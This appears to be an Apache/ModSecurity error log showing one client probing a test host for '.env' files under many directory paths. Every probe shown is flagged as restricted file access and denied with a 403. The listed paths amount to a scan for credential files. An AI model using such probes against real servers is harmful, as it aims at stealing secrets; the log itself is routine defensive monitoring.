[Thu Feb 26 01:03:17.730984 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkAAAAAI&quot;]
[Thu Feb 26 01:03:17.761836 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /socketio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkQAAAAI&quot;]
[Thu Feb 26 01:03:17.762098 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkQAAAAI&quot;]
[Thu Feb 26 01:03:17.762264 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkQAAAAI&quot;]
[Thu Feb 26 01:03:17.774332 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shopware/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-AAAAAQ&quot;]
[Thu Feb 26 01:03:17.774589 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-AAAAAQ&quot;]
[Thu Feb 26 01:03:17.774751 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-AAAAAQ&quot;]
[Thu Feb 26 01:03:17.802137 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /simple_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-QAAAAQ&quot;]
[Thu Feb 26 01:03:17.802411 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-QAAAAQ&quot;]
[Thu Feb 26 01:03:17.802571 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-QAAAAQ&quot;]
[Thu Feb 26 01:03:17.815350 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /source/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkgAAAAI&quot;]
[Thu Feb 26 01:03:17.815586 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkgAAAAI&quot;]
[Thu Feb 26 01:03:17.815761 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkgAAAAI&quot;]
[Thu Feb 26 01:03:17.825502 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site-library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-gAAAAQ&quot;]
[Thu Feb 26 01:03:17.825732 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-gAAAAQ&quot;]
[Thu Feb 26 01:03:17.825877 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-gAAAAQ&quot;]
[Thu Feb 26 01:03:17.843777 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkwAAAAI&quot;]
[Thu Feb 26 01:03:17.843987 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkwAAAAI&quot;]
[Thu Feb 26 01:03:17.844134 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkwAAAAI&quot;]
[Thu Feb 26 01:03:17.856858 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-wAAAAQ&quot;]
[Thu Feb 26 01:03:17.857090 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-wAAAAQ&quot;]
[Thu Feb 26 01:03:17.857241 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH-wAAAAQ&quot;]
[Thu Feb 26 01:03:17.879316 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllAAAAAI&quot;]
[Thu Feb 26 01:03:17.879534 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllAAAAAI&quot;]
[Thu Feb 26 01:03:17.879727 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllAAAAAI&quot;]
[Thu Feb 26 01:03:17.881795 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sites/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_AAAAAQ&quot;]
[Thu Feb 26 01:03:17.882060 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_AAAAAQ&quot;]
[Thu Feb 26 01:03:17.882221 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_AAAAAQ&quot;]
[Thu Feb 26 01:03:17.911524 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spearmint/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllQAAAAI&quot;]
[Thu Feb 26 01:03:17.911730 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllQAAAAI&quot;]
[Thu Feb 26 01:03:17.911878 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllQAAAAI&quot;]
[Thu Feb 26 01:03:17.918075 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitestatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_QAAAAQ&quot;]
[Thu Feb 26 01:03:17.918290 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_QAAAAQ&quot;]
